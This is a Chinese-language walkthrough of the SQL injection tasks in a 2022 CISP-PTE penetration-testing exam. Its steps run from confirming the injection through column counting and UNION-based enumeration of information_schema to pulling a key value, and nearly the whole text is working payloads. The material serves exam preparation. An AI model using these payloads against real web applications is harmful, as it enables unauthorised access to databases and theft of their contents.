2022 CISP-PTE(二)SQL注入

一、SQL注入(实操）

1、第一道

1.1 万能密码绕过

2、第二道

2.1 题目环境

2.2 判断注入

?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' and '1'='1
?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' and '1'='2
或者
?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' and 1=1;%00 ?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' and 1=2;%00

2.3 判断回显数

?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' order by 6;%00 ?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' order by 7;%00

2.4 查看回显数字位置

?uuid=-1' union select 1,2,3,4,5,6;%00

2.5 查数据库名和用户

?uuid=-1' union select 1,database(),user(),4,5,6;%00

2.6 查表名

?uuid=-1' union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database();%00

2.7 查字段名

?uuid=-1' union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database() and table_name='IS_KEY';%00

2.8 查key值

?uuid=-1' union select 1,group_concat(haha),3,4,5,6 from IS_KEY;%00